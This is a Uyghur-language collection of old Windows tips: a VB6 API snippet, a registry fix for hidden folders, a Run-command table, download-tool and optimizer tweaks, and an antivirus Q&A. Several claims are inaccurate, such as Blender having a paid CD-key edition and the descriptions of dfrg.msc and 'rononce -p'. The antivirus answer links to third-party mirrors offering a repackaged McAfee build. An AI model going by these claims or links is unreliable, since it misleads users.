Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
```

بىز پەقەت ماس ھالدىكى پارامېتىرلىرىغا قىممەت بېرىش ئارقىلىقلا مەقسەدكە يېتەلەيمىز ، تۆۋەندىكىسى VB6.0 ئارقىلىق سىستېمىنىڭ مۇندەرىجىسىگە ئېرىشىش ئۇسۇلى:

Code:

```
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Sub Form_Load()
Dim sSave As String, Ret As Long
sSave = Space(255)
Ret = GetSystemDirectory(sSave, 255)
sSave = Left$(sSave, Ret)
MsgBox "Windows System directory: " + sSave
End Sub
```

خاتالاشمىسام Windows نىڭ 95 تىن يۇقىرى بارلىق سىستېمىلىرىدا نورمال ئىشلەيدۇ!

توردىكى ئادرېسى: http://www.xjprgfan.com/bbs/ShowPost.asp?ThreadID=27

# تور دەرسخانىسى

## يوشۇرۇن ھۆججەت قىسقۇچلارنى ئاچقىلى بولمىغاندا

بەزىدە ۋىرۇس ۋە باشقا سەۋەپ تۈپەيلى يوشۇرۇن ھۆججەت قىسقۇچنى كۆرگىلى بولمايدىغان، يەنى قورال (工具)

تىزىملىكىدىن ھۆججەت قىسقۇچ بەلگىلەش (文件夹选项) ئارقىلىقمۇ ئەسلىگە كەلتۈرۈشكە ئامالسىز قالىدىغان

ئەھۋال بولىدۇ، تىزىملاش جەدۋىلىگە كىچىككىنە ئۆزگەرتىش كىرگۈزۈش ئارقىلىق بۇنىمۇ ھەل قىلىشقا بولىدۇ. ئۇسۇلى:

(تىزىملاش جەدۋىلىنى ئېچىپ ئېچىش ئۇسۇلى: باشلاش <开始>تىزىملىكىدىن ئىجرا قىلىش <运行>نى ئېچىپ regeditنى باسساق ئېچىلىدۇ) تۆۋەندىكى تۈرلەر بويىچە كىرىمىز:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]

كىرگەندىن كېيىن CheckedValue تۈرىنى ئۆچۈرىۋېتىمىز، ئاندىن ئوخشاش نامدىكى تۈرى DWORD بولغان CheckedValue دىن بىرنى قۇرىمىز، قىممىتىنى 1 گە تەڭشەپ قويساقلا بولىدۇ.

ماقالە ئادرېسى: http://www.tedbirkar.cn/uyghur/YCMS_ShowArt.asp?id=8

# ئىجرا(运行) دىكى بىر قىسىم تېز قوزغىتىش بۇيرۇقلىرى

تۆۋەندىكى بۇيرۇقلارنى 开始→运行 غا كىرگۈزسىڭىز ئاستىدا ئېيتىلغان مۇناسىۋەتلىك مەشغۇلاتلارنى تېز بېجىرەلەيسىز .

| | |
|---|---|
| winver | ۋىندوۋسنىڭ نەشرىنى تەكشۈرۈش |
| wmimgmt.msc | ۋىندوۋسنىڭ سىستېما قۇرۇلمىسىنى تەكشۈرۈش |
| wupdmgr | سىستېمىنى يېڭىلاش |
| write | خەت يېزىش تاختىسى |
| winmsd | سىستېما ئۇچۇرى |
| iaacmgr | سكانېر ۋە رەقەملىك ئاپپارات يېتەكچىسى |
| winchat | سىستېما ئۆزىدىكى دائىرىلىك تور پاراڭلاشقۇچىسى |
| mem | ئىچكى ساقلىغۇچنىڭ ئىشلىتىلىش ئەھۋالىنى تەكشۈرۈش |
| msconfig | سىستېما سەپلىمىلىرى ئەمەلىي ئىشلىتىش پىروگراممىسى |
| mspaint | رەسىم سىزغۇچ |
| mplayer2 | مېدىيا قويغۇچ |
| magnify | لوپا ئەينەك پىروگراممىسى |
| mmc | كونترول سۇپىسىنى ئېچىش |
| mobsync | ماس قەدەملىك بۇيرۇق |
| dxdiag | سىستېما directx ئۇچۇرىنى تەكشۈرۈش |
| drwtsn32 | سىستېما دوختۇرى |
| devmgmt.msc | ئۈسكۈنە باشقۇرغۇچ |
| dfrg.msc | دىسكىدىكى ئەخلەتلەرنى تازىلاش پىروگراممىسى |
| diskmgmt.msc | دىسكا باشقۇرۇش پىروگراممىسى |
| dcomcnfg | سىستېما قوشۇمچە دېتاللىرىنى باشقۇرۇش مۇلازىمىتى |
| dvdplay | DVD قويغۇچ |
| net stop messenger | ئۇچۇر مۇلازىمىتىنى توختىتىش |
| net start messenger | ئۇچۇر مۇلازىمىتىنى قوزغىتىش |
| notepad | خاتىرە دەپتەرنى ئېچىش |
| nslookup | تور باشقۇرۇش قوراللىرى يېتەكچىسى |
| ntbackup | سىستېمىنى ئەسلىگە كەلتۈرۈش ۋە زاپاسلاش |
| ntmsmgr.msc | ياندىسكا باشقۇرغۇچ |
| syncapp | يېڭى ھۆججەت قىسقۇچ قۇرۇش |
| sysedit | سىستېما سەپلىمىلىرى تەھرىرلىگۈچى |
| sigverif | ھۆججەت ئىمزا تەكشۈرۈش پىروگراممىسى |
| sndrec32 | ئۈنئالغۇنى ئېچىش |
| shrpubw | ئورتاق ھۆججەت قىسقۇچ قۇرۇش |
| syskey | سىستېمىغا مەخپىي نومۇر ئورنىتىش |
| services.msc | يەرلىك مۇلازىمەت تەڭشىكى |
| sndvol32 | ئاۋاز تەڭشەش پىروگراممىسى |

| | |
|---|---|
| sfc.exe | سىستېما ھۆججەتلىرىنى تەكشۈرگۈچ |
| sfc /scannow | ھۆججەت قوغداش |
| tourstart | قاچىلاپ بولغاندىن كېيىنكى سىستېمىنى ساياھەت قىلىش |
| taskmgr | ۋەزىپە باشقۇرغۇچ |
| eventvwr | ۋەقەلەر تەكشۈرگۈچىسى |
| eudcedit | خەت نۇسخىسى ياساش پروگراممىسى |
| explorer | بايلىق باشقۇرغۇچنى ئېچىش |
| packager | ئوبيېكتنى ئوراش پروگراممىسى |
| perfmon.msc | كومپيۇتېر ئىقتىدار كۆزىتىش پروگراممىسى |
| progman | پروگرامما باشقۇرغۇچىسى |
| regedit | تىزىملاش جەدۋىلى |
| regedit32 | تىزىملاش جەدۋىلى تەھرىرلىگۈچىسى |
| rononce -p | ئون بەش سېكونتتىن كېيىن سىستېمىنى تاقاش |
| regsvr32 /u zipfldr.dll | ZIP ھۆججەتنى قوللاشنى بىكار قىلىش |
| cmd | DOS بۇيرۇق رامكىسى |
| chkdsk | دىسكا تەكشۈرۈش |
| certmgr.msc | گۇۋاھنامە باشقۇرۇش پروگراممىسى |
| calc | ھېسابلىغۇچنى ئېچىش |
| cliconfg | ئابونت تور پروگراممىسى |
| clipbrd | چاپلاش تاختىسى كۆرگۈچ |
| compmgmt.msc | كومپيۇتېرنى باشقۇرۇش |
| cleanmgr | ئەخلەتلەرنى رەتلەش |
| ciadv.msc | ئىزدەش مۇلازىمىتى پروگراممىسى |
| osk | ئېكراندا كونۇپكا تاختىسنى كۆرسىتىش |
| odbcad32 | سانلىق مەلۇمات باشقۇرغۇچ |
| lusrmgr.msc | مەركىزى ماشىنىدىكى ئابونت ۋە گورۇپپا |
| logoff | سىستېمىنى قايتا تىزىملىتىش |
| fsmgmt.msc | ئورتاق ھۆججەت خالتىسنى باشقۇرۇش |

ئۇيغۇر كومپيۇتېر مەستانىلىرى

# Thumbs.db قانداق ھۆججەت؟

Thumbs.dbبولسا Windows XP شارائىتىدىكى مۇندەرىجە ئىچىدە رەسىملەرنى كىچىكلىتىپ كۆرسىتىش ئۇچۇرلىرىنى ساقلاپ بېرىدىغان بىرخىل ھۆججەت. Windows XPرەسىملەرنى تېز سۈرەتتە كىچىكلىتىپ كۆرستىپ بېرىش ئۈچۈن، رەسىملەرنى كىچىكلىتىپ كۆرسەتكەن ئۇچۇرلارنى بىر ھۆججەتكە سانلىق مەلۇمات شەكلىدە يېزىپ ساقلاپ بېرىدۇ، بىر مۇندەرىجە ئىچىدىكى رەسىملەرنىڭ كۆپىيىشىگە ئەگىشىپ ، بۇ ھۆججەتنىڭمۇ سىغمى كۆپىيىپ بارىدۇ، قاتتىق دىسكىنىڭ بوشلۇقىنى تېجەش ئۈچۈن، بىز بۇ ھۆججەتنى چەكلىۋەتسەكمۇ بولىدۇ، ئۇسۇلى تۆۋەندىكىدەك:

ئاۋۋال 资源管理器 نى ئاچىمىز، ئاندىن تەرتىپ بويىچە 工具→文件夹选项→查看 غا كىرىپ تاللاش تۈرلىرىدىن ، 不缓存缩略图 نى تاللاپ قويساقلا بولىدۇ .

# 迅雷 نىڭ چۈشۈرۈش سۈرئىتىنى تېزلىتىش

迅雷 قاچىلانغان مۇندەرىجىسىنى ئاچسىڭىز Program دەيدىغان ھۆججەت قىسقۇچ

بار.ئاندىن download.cfg بۇ ئىسىملىك ھۆججەتنى 记事本 دا ئېچىپ ئىچىدىكى ماۋۇ قۇرلارنى تېپىپ:

```
[p2s]
ftp_exempt_period=60
http_exempt_period=18
https_exempt_period=18
mms_exempt_period=18
mmst_exempt_period=18
```

ئاندىن ماۋۇ بىرقۇر كودنى [p2s] نىڭ ئاستىغا قوشۇڭ ، ماۋۇ كودنى thread_num=20 مۇنداق.

```
[p2s]
thread_num=20
ftp_exempt_period=60
http_exempt_period=18
https_exempt_period=18
mms_exempt_period=18
mmst_exempt_period=18
```

قىلىپ ئاندىن ساقلىۋېتىڭ.

ئىش پۈتتى.چۈشۈرۈش سۈرئىتى ھەيران قالارلىق دەرىجىدە يۇقىرى كۆتۈرىلىدۇ thread_num=10 .بۇ يەردىكى 20 دىگەننى 60 تىن ئېشىپ كەتمىگەن ئاساستا ئۆزگەرتسىڭىز بولىۋېرىدۇ. ئەسلى بۇ قىممەت 5 ھالەتتە تۇرىدۇ ............

ماقالە ئادرېسى:http://www.uyghurcfan.com/article/show.asp?id=18

يۇمشاق دېتال سالونى

## Windows XP گە باشقۇرغۇچى تەكلىپ قىلىش


Windows XP نىڭ ئىقتىدارى ئىنتايىن كۈچلۈك بولۇپ كىشىلەرنىڭ ئىشلىتىشىگە ناھايىتى ماسلاشقان، لېكىن ئىشلەتكەن ۋاقىتنىڭ ئۇزىرىشىغا ئەگىشىپ سىستېمىدىكى ئەخلەت لەركۆپىيىپ سىستېمىنىڭ ئىجرا بولۇش سۈرئىتىنى بەكلا ئاستىلاشتۇرىۋېتىدۇ.گەرچە Windows نى ئەلالاشتۇرىدىغان سىستېمىلار كۆپ بولسىمۇ،لېكىن مەخسۇس Windows XP ئۈچۈن ياسالغانلىرى ھەققەتەن ئاز.بۇ ماقالىمىزدە تونۇشتۇرىدىغىنىمىز مەخسۇس Windows XP ئۈچۈن ياسالغان ماسلىشىشچانلىقى يۇقۇرى بولغان باشقۇرۇش دېتالى 总管 Win XP دۇر . «总管 Win XP »(تۆۋەندە «Win XP باشقۇرغۇچىسى» دەپ ئېلىنىدۇ)نى ئىشلەتسىڭىز،ئۇنچە كۆپ كەسپىي بىلىملەرنى ئىگەللىمىسىڭىزمۇ ،سىستېمىڭىزنى بىخەتەر،سۈرئىتى تېز،ئۆز ئالاھىدىلىكى بار ھالغا كەلتۈرەلەيسىز.تۆۋەندە بىز بۇ دېتالنىڭ بىر قانچە ئالاھىدىلىكىنى تونۇشتۇرىمىز.

# ۋىرۇس، تىروجانلارنى ئاسانلا بايقىيالايدۇ !

تورغا چىققان ۋاقىتتا سىز بىلىپ-بىلمەيلا نۇرغۇن ۋىرۇس تىروجانلار كومپيۇتېرىڭىزغا كىرىۋېلىپ پىروگراممىلارنىڭ ئىجرا ۋاقتىنى ئۇزارتىۋېتىشى مۇمكىن .سىز ئۇلارنىڭ قەيەردە ئىجرا بولىدىغانلىقىنى بىلمەكچى بولۇپ «ۋەزىپە باشقۇرغۇچ» (任务览管理器)دىكى «مۇساپە» (进程) گە كىرىپ قارىسىڭىز ھېلىقى ۋىرۇسلارنىڭ ئىجرا بولۇۋاتقان ياكى بولمايۋاتقانلىقىنى بىلەلمەيسىز، (چۈنكى ۋىرۇسلار مۇشۇنداق ئۆزىنى يوشۇرۇش،سىستېما مۇساپىسىغا ئوخشاش بولىۋېلىش خاراكتېرىگە ئىگە) ئۇنداقتا قانداق قىلىش كېرەك ؟

بۇ ئىشلارنى يەنىلا «Win XP باشقۇرغۇچىسى»نىڭ قولىغا تاشلاپ بېرەيلى.

دېتالنى ئىجرا قىلىپ «مەشغۇلات سىستېمىسى»(操作系统) دېگەن كونۇپكىنىڭ ئاستىدىكى «مۇساپە باشقۇرغۇچ»(进程管理器) نى چېكىپ،مۇشۇ مۇساپە باشقۇرغۇچ كۆزنىكىدە«بىخەتەرلىك»(安全性)دېگەن ستونىدا ئىجرا بولۇۋاتقان پىروگراممىنىڭ سىستېما مۇساپىسى ۋە ئىشەنچلىك مۇساپىلەرگە بەلگە بېرىدۇ،باشقىلىرىغا بولسا «نامەلۇم»(未知) دەپ كۆرسىتىپ بېرىدۇ .




ھازىر مۇھىمى مۇساپە نامى سىستېما مۇساپىسى بىلەن بىردەك بولغان ھەم «نامەلۇم»(未知) دەپ بەلگە قويۇلغان تۈرنى تېپىش.ئۆزىمىز گۇمانلانغان پىروگراممىنى تاپقاندا ئۇنىڭ مۇساپە(进程) دىكى خاراكتېرىگە قاراپ ئۇنىڭ دېسكىدىكى ئورنىنى بىلەلەيمىز ،ئەگەر شۇ پىروگراممىا بىزگە لازىملىق بولمىغان پىروگراممىا بولسا (مەسىلەن لۈكچەك دېتاللار ، ۋىرۇسلار دىگەندەك) ئۇلارنىڭ ئىجرا بولۇشنى چەكلىگىلى بولىدۇ .ھەمدە شۇ پىروگراممىنىڭ قايسى DLL ھۆججىتىنى يۆتكەپ ئىشلىتىۋاتقانلىقىنى بىلىپ ئۇنىڭ خاراكتېرىگە قاراپ ۋىرۇس بولسا ماشىنىدىن ئۆزۈل-كېسىل ئۆچۈرۈپ تاشلىيالايمىز .«مۇساپە قوغداش»خاراكتېرلىك ۋىرۇسنىڭ ئىككى ياكى ئۇنىڭدىنمۇ كۆپ مۇساپىنى ئىشلىتىپ «ۋىرۇس قوغداش» ھالىتىنى شەكىللەندۈرۈشىنىڭ ئالدىنى ئېلىش ئۈچۈن،قورال ستونىدىكى «مۇساپە ئاخىرلاشتۇرۇش»(结束进程) كونۇپكىسى ئاستىدىكى «مۇساپە دەرىخى ئاخىرلاشتۇرۇش» (结束进程树) بۇيرۇقى ئارقىلىق ئۆز-ئارا بىر-بىرىنى قوغداۋاتقان ۋىرۇسلارنى بىراقلا يوقاتقىلى بولىدۇ.

ۋىرۇسلىقى مۇقىملانغاندا قورال ستونىدىكى «ھۆججەت قىسقۇچنى ئېچىش» (打开文件夹) كونۇپكىسىنى بېسىپ،ئورنىنى تاقاندىن كېيىن ئاسانلا ۋىرۇسلارنى ئۆچۈرەلەيمىز.

## سىستېمىنىڭ ئىجرا سۈرئىتىنى تېزلىتىڭ !

سىز يۇقارقى ئۇسۇلدىن پايدىلىنىپ ۋىرۇس ئۆلتۈرگىنىڭىزدە يەنىلا كومپيۇتېرىڭىزنىڭ سۈرئىتىنىڭ كۆرۈنەرلىك تېزلەشمىگەنلىكىنى بايقىسىڭىز،ئۇنداقتا قانداق قىلىش كېرەك؟
يەنىلا ئىككىلەنمەي «Win XP باشقۇرغۇچىسى»نى ئىشلىتىڭ . «Win XP باشقۇرغۇچىسى»نى قوزغاتقاندىن كېيىن سول تەرەپتىكى «سىستېما ئەلالاشتۇرۇش» (系统优化) تۈرىنى چېكىپ،ئاندىن (系统提速)نى تاللاپ ئوڭ تەرەپتىكى «سىستېما تېزلىتىشنى ئەلالاشتۇرۇش»(系统提速优化)دېگەن تۈر ئىچىدىكى ئەڭ ئاخىرقى ئىككى تۈردىن باشقا ھەممىسىگە توغرا بەلگىسىنى ئۇرۇپ قويىسىز (يەنى تاللايسىز دېمەكچى) ئاندىن (保存) نى بېسىپ ساقلىۋەتسىڭىزلا بولىدۇ .




ئاندىن «ئىچكى ساقلىغۇچ ئەلالاشتۇرۇش» (内存،缓存优化) دېگەن تۈرگە ئالمىشىپ ئۆزىڭىزنىڭ كومپيۇتېرىڭىزنىڭ سەپلىمىسىنىڭ ئەمەلىي پارامېتىرلىرىغا ئاساسەن ماس ھالدىكى ئىچكى ساقلىغۇچ ۋە CPU ساقلىغۇچلىرىنى تاللاپ ساقلاپ قايتا قوزغاتسىڭىزلا كومپيۇتېرىڭىزنىڭ سۈرئىتى يېڭى سېتىۋالغان ھالەتتىكىدەك تېزلىشىپ كېتىدۇ .(ئەگەر ئېنىق بىلمىسىڭىز «يۇمشاق دېتالدىن مەسلىھەت» (软件咨询) دېگەن كونۇپكىنى باسسىڭىزلا بۇ دېتال ئۆزى سىزگە دەپ بېرىدۇ.)




## سىستېمىنى ئورۇقلىتىدۇ !

كومپيۇتېرىڭىزنىڭ سۈرئىتىنى تېزلىتىۋالغاندىن كېيىن يەنە بىر ئىشنى قىلىشنى ئويلايسىز . يەنى كومپيۇتېرىڭىزدىكى بوشلۇقنى چوڭايتىشنى ئويلايسىز .مانا بۇ بىز دېگەن سىستېمىنى ئورۇقلىتىشتۇر . قانداق ئورۇقلىتىسىز ؟ ئەلۋەتتە ماشىنىڭىزدىكى ئەخلەتلەرنى ئۆزۈل-كېسىل تازىلىسىڭىز كومپيۇتېرىڭىزدىكى سىغىمدىن ئۈنۈملۈك پايدىلىنالايسىز . بۇنى ئەمەلگە ئاشۇرۇش ئۈچۈن «Win XP باشقۇرغۇچىسى»نى قوزغىتىپ«سىستېما تازىلاش»(系统清理) دېگەن تۈردىن«سىستېما ئورۇقلىتىش» (系统减肥)نى تاللاپ ئوڭ تەرەپتە چىققان

كۆزنەكتىن «سىستېما ھۆججىتى» (系统文件) نى تاللىسىڭىز بىر مۇنچە ئۆچۈرگىلى بولىدىغان ھۆججەتلەرنى

تاللايدىغان تۈرلەر ۋە شۇ ئەخلەتلەرنىڭ كومپيۇتېرىڭىزدا (ئاساسلىقى C رايوندا) ئىگىلىگەن ھەجمى چىقىدۇ. شۇ يەردىن ھەممىنى تاللاپ جەزىملەشتۈرۈۋەتسىڭىز سىستېمىڭىز ئورۇقلايدۇ .




ئارقىدىنلا يەنە شۇ سول تەرەپتىكى كۆزنەكتىن «ئەخلەت ھۆججەتلەرنى تازىلاش» (清理垃圾文件) نى تاللاپ چىققان كۆزنەكنىڭ ئۈستىدىكى «سۈپۈرۈش» (扫描) كونۇپكىسىنى بېسىش ئارقىلىق كومپيۇتېردىكى ئەخلەتلەرنى تېپىپ تازىلايسىز. مانا ئىش پۈتتى.



## دىسكىنى قۇلۇپلاش !

ياتاقتا ياتىدىغان ئالىي مەكتەپ ئوقۇغۇچىسى بولسىڭىز ئوبدان بىلىسىز . باشقىلار سىزنىڭ كومپيۇتېرىڭىزنى قالايمىقان ئىشلىتىپ جىلە قىلىۋېتىدۇ ، تېخى سىز باشقىلاردىن مەخپىي تۇتۇۋاتقان نەرسىلەرنىمۇ يوشۇرۇپ قالالمايسىز ، بۇنىڭغا بىرەر ئامال بارمۇ ؟؟؟ ئەمىسە «Win XP باشقۇرغۇچىسى»نى ئىشلىتىپ بۇ مەسىلىنى تامامەن

هەل قىلالايسىز . دېتالنى قوزغاتقاندىن كېيىن «بىخەتەرلىك تەڭشىكى» (安全设置) دېگەن تۈردىكى «قوزغاتقۇچ

ۋە پروگرامما» (驱动器及程序) دېگەن يەردىن «قوزغاتقۇچلارنى چەكلەش ۋە يوشۇرۇش»

(隐藏及禁止驱动器)دېگەن يەردىكى تاللاش تىزىملىكىدىن بىز يوشۇرماقچى بولغان دىسكا رايونىنى تاللاپ

جەزملەشتۈرۈش كونۇپكىسىنى باسساقلا بولىدۇ . كېيىن لازىم بولغاندا مۇشۇ ئۇسۇل ئارقىلىق تاللىغان دىسكا رايونى بەلگىسى يېنىدىكى توغرا بەلگىسىنى ئېلىۋەتسەكلا بولىدۇ .ئۇنىڭدىن باشقا يەنە بۇ تۈر ئارقىلىق نۇرغۇن پروگراممىلارنى مەخپىي نومۇرلۇق قىلىپ ئىشلىتىشنى چەكلەشكە بولىدۇ .




«Win XP باشقۇرغۇچىسى»نىڭ ئىقتىدارى ئىنتايىن كۈچلۈك بولۇپ جەمئىي 25 خىل ئىنتايىن كۈچلۈك بولغان ئىقتىدار قوشۇلغان گەرچە ماقالىمىزدا ھەممىنى تولۇق تونۇشتۇرۇپ بولالمىغان بولساقمۇ ئىشلەتكۈچىلەرنىڭ بۇ دېتالنى ئىشلەتسىلا بۇ ئىقتىدارلارنى تامامەن بايقىيالايدىغانلىقىغا ئىشىنىمىز..

# Blander2.43 Final ئىشلەش يۇمشاق دېتالى 3D

Blenderيۇمشاق دېتالى بازارغا سېلىنغاندىن كېيىن، 3D ئىشلەشكە قىزىقىدىغان ھەۋەسكارلار كۆپ پۇل خەجلىمەيلا، ئۆزى ياقتۇرىدىغان 3Dلاھىيەلەرنى لاھىيەلىيەلەيدىغان بولدى. ئۇ كۆپ خىل شەكىلدىكى سۈرەتلەرنى قوللايلا قالماستىن، بەلكى يەنە ھەرىكەتچان كۆرۈنۈش ئىشلەشكە بولىدۇ! ناۋادا ھەقسىز نەشرى سىزنىڭ ھاجىتىڭىزدىن چىقالمىسا، CD-key تىزىملىتىپ ئىقتىدارى تېخىمۇ مۇكەممەل بولغان نەشرىنى سېتىۋېلىشقا بولىدۇ. Blender گەرچە ھەقسىز بولسىمۇ، بىراق ئىقتىدارى كۈچلۈك ھەم مۇرەككەپ.

Blenderقوللايدىغان 3Dمودېلدىن tex ، NURBS، curves، polygon meshes ۋە

metaballsقاتارلىقلار بار؛ قوللايدىغان ھەرىكەتچان كۆرۈنمە تۈردىن keyframes، motion

curves، morphing، inverse kinematicsقاتارلىقلار بار. ئۇمۇ ئۆزىدە particle system رەسىم

تاختىسى، deformation latticesشەكىل ئۆزگەرتىش سېتكىسى ۋە skeletons جازىسى ھەمدە 3Dدىن پايدىلىنىپ ھەرخىل كۆرۈش دائىرىسىنى ئىشلەش ئىقتىدارىنى تەمىنلىگەن. باشقا دىققەت قىلىشقا ئەرزىيدىغان تەرەپلىرىدىن)field rendering دائىرىنى تەسۋىرلەش(، several lighting modesيورۇقلۇق مەنبەسىنىڭ تىپلىرى animation curvesھەرىكەت سىزىقى قاتارلىقلار بار. ئەلۋەتتە Blender ئارقىلىق ئوخشاشلا Targa, Jpeg, Iris, SGI movie, Amiga IFFقاتارلىق كۆپ خىل ھۆججەت شەكىللىرىنى ساقلىغىلى بولىدۇچۈشۈرۈش ئادرېسى:

http://download.blender.org/release/Blender2.43/blender-2.43-windows.exe

تور بلىملىرى

## POP3 ۋە STMP نىڭ مەنىسىنى چۈشىنەمسىز؟

### نېمىنى POP3 دەيمىز؟

POPبولسا Post Office Protocol نىڭ قىسقارتىلىپ ئاتىلىشى، بۇ بىر خىل ئېلېكترونلۇق ھۆججەت ئۆزئىتش كېلىشىمى بولۇپ ، POP3بولسا ئۇنىڭ 3-نەشرىدۇر. بۇ شەخسى كومپيۇتېردىن ئىنتېرنېت تورىدىكى ئېلېكترونلۇق ھۆججەت مۇلازىمېتىرغا قانداق ئۇلىنىش ۋە ئېلېكترونلۇق ھۆججەتنى قانداق چۈشۈرۈش كېلىشىمگە ئاساسەن بەلگىلەنگەن.

## نېمىنى SMTP دەيمىز؟

SMTPنىڭ تولۇق ئاتىلىشى Simple Mail Transfer Protocol بولۇپ ، ئاددى ئېلېكترونلۇق خۆججەتلەرنى يوللاش كېلىشىمنى كۆرسىتىدۇ، ئۇ بىر گۇرۇپپا ئەسلى ئادرېستىن ، نىشان ئادرېسقا ئېلېكترونلۇق يوللانما يوللاش كېلىشىمى بولۇپ، ئېلېكترونلۇق يوللانما كونترول قىلىش ئۇسۇلى ئاساس قىلىنغان.

SMTPكېلىشىمى TCP/IP كېلىشىمگە تەۋە بىر گۇرۇپپا، ئۇ ھەر بىر كومپيۇتېر خۆججەت ئۆزنىتۇاتقان ياكى يۆتكىلىۋاتقان ۋاقىتتا نىشان ئادرېسنى ئېنىقلاشقا ياردەم بېرىدۇ، SMTP مۇلازىمېتىرى دەل SMTP كېلىشىمنى ئاساس قىلغان ئېلېترونلۇق يوللانما مۇلازىمېتىرنى كۆرسىتىدۇ..

ماقالە مەنبەسى : http://www.tedbirkar.cn/uyghur/YCMS_ShowArt.asp?id=9

# تور بەتكە خاس Icon بەلگىلەش

بىز بەزى تور بەتلەرنى ئاچقاندا شۇ بېكەتنىڭ ماس سىنبەلگىسى بارلىقنى كۆرىمىز، ئۇنى IE نىڭ ساقلىغۇچىغا ساقلىغاندا سىنبەلگىسى بىلەن قوشۇپ ساقلىنىدۇ، ئەلۋەتتە بىر قۇر كود بىلەن سىزمۇ بۇنى قىلالايسىز .

MicroAngelo V5.59c قولايلىق بولغان Icon خۆججىتىنى ياساش يۇمشاق دېتالى، بۇ ئارقىلىق ناھايىتى كۆركەم بولغان سىنبەلگىلەرنى ياسىيالايسىز .

چۈشۈرۈش ئادرېسى: http://www.skycn.com/soft/2478.html

Iconنى ياساپ بولدىڭىز، ئەمدى مەقسەت، قانداق قىلىپ تور بېتىڭىزنىڭ سىنبەلگىسىنى شۇ Icon دا كۆرستىش.

تور بېتىڭىزگە تۆۋەندىكى بىر قۇر كودنى قىستۇرسىڭىزلا بولىدۇ، قىستۇرغاندا head بۆلىكىگە قاتسىز.

```
<link rel=\"shortcut icon\" href=\"http://www.tedbirkar.cn/myicon.ico\">
```

ئەسكەرتىش : ياساپ بولغان Icon نى چوقۇم تور بوشلۇقىغا چىقىرىسىز، يۇقىرىقى ئادرېس دەل سىز چىقارغان Icon نىڭ ئادرېسى. Icon غا قويۇلىدىغان ئۆلچەم 16*16 بولىشى كېرەك، بولمىسا نورمال بولماسلىقى مۇمكىن IE.نىڭ 5.0 نۇسخىسىدىن يۇقىرى نەشرىدە سىناڭ.

ئەمدى تور بېتىڭىزنى IE نىڭ ساقلىغۇچىدا ساقلاپ كۆرۈپ بېقىڭ، سىز ياسىغان Icon بىلەن باشقا تور بەتلەردىن پەرقلىنىپ تۇرىدۇ .

ماقالە مەنبەسى : http://www.tedbirkar.cn/uyghur/YCMS_ShowArt.asp?id=11

# «ئىبلىس»تىن سوئال-جاۋابلار

1-سوئال:ئەڭ ياخشى ۋىرۇس ئۆلتۈرۈش دېتالى زادى قايسى؟؟؟؟
توربەتلەرنىمۇ چەكلەيدىغان . ۋىرۇسلارنىمۇ جىق تاپالايدىغان ! مۇھىمى تاپقان ۋىرۇسنى ئۆلتۈرەلەيدىغان ئەڭ ئەڭ ئەڭ ئەڭ ئەڭ ئېسىلى ھازىر زادى قايسى؟
سوئال سورىغۇچى: adobe27

جاۋاب: ئۇ ياخشى ياكى بۇ ياخشى دەپ كېسىپ بىر نېمە دېگىلى بولمايدۇ.مەسىلەن مېنىڭ ۋىرۇس ئۆلتۈرۈش كەچۈرمىشىمنى دېسەم تۇنجى قېتىم ۋىرۇسنىڭ ئەڭ يامىنى يۇقىاندا norton بىر ئوبدانلا ئەدىپىنى بەرگەن.2-قېتىملىق تۇتۇشقىنىم 2005-يىلى 10-ئاي بايرام مەزگىلىدە تازا بىر ئىشلىتىۋالاي بۇ قوتۇرنى دېسەم،قەتئىيلا قاملاشمىدى.مەشغۇلات سىستېمىسى قاچىلايمەن.بىر-ئىككى قېتىم نورمال قوزغىلىدۇ،3-ياكى 4- قېتىم قوزغىلىپلا قارا ئېكران ھالىتىدە تۇرۇۋېرىدۇ،مەشغۇلات سىستېمىسىغا قەتئىي ئۆتەلمەيدۇ.يەنە قايتا مەشغۇلات سىستېمىسى قاچىلايمەن يەنە مۇشۇنداق ئەھۋال تەكرارلىنىۋەردى.5كۈن شۇنداق ئۆتتۈپتىمەن.باشقا مەشغۇلاتلار شۇنداق نورمال بولمىسا.شۇنىڭ بىلەن ۋىرۇش يۇققان ئوخشايدۇ دەپ ئويغىنىپ ماختىساق سىز تىللىشۇەتمەكچى بولغان رۇيشىڭ ئىشلەتسەم 2800 دىن ئارتۇقراق ۋىرۇس تېپىپ شۇنىڭدىن كېيىن شۇنداق نورمال ئىشلىدى.كېيىن تورغا چاتقاندىن ئۇ قاملاشماي، Mcafee نى ئىشلەتتىم تا ھازىرغىچە 1يېرىم يىل بولدى شۇنى ئىشلىتىۋاتىمەن.(رۇيشىڭنى تاشلىۋېتىشىمدىكى ئاساسلىق سەۋەب كومپيۇتېرنى بەك ئاستىلىتىۋەتتى،ھەم ھەممە ئىشقا چات كىرىۋالدى)
خۇلاسىلىسەم،ۋىرۇسقا قارشى تۇرۇشنىڭ ئەڭ ياخشى چارىسى كومپيۇتېرىڭىزدا ۋىرۇسخور بولغاندىن سىرت چوقۇم مۇداپىئە تېمى بولسۇن،ئاندىن يەنە باشقا بىخەتەرلىك قوراللىرى بولسۇن.سىرتتىن چېتىلىدىغان نەرسە چاتقاندا چوقۇم ئۇنى قوش چېكىپ ئېچىۋەتمەسلىكتە كاپالەتلىك قىلىڭ.
ۋىرۇسخوردىن تەۋسىيەم:
چۈشۈرۈش ئادرېسى:

McAfee VirusScan 8.5.0i 中文集成版

http://soft.ydxz.cn/soft/VSE850LML.Zip

ياكى ماۋۇ يەردىن خالىغان نەشرىنى چۈشۈرۈۋېلىڭ.سەپلىمىڭىز ياخشى بولسا يەنى ئىچكى ساقلىغۇچ 512 بولسا 2007 نەشرىنى ئىشلىتىڭ،بولمىسا McAfee VirusScan 8.0i نى ئىشلىتىشۋەرسىڭىز بولىۋېرىدۇ.
http://www.ikzhe.com/sort/McAfee_1_1.html
ۋىرۇس ئامبىرى يېڭىلاش ئادرېسى:
http://www.ikzhe.com/softdown.asp?softid=1727
بۇ تورسىز ھەم تور بار مۇھىتتىمۇ شۇنداق يېنىك ھەم نورمال ئىشلەيدۇ.
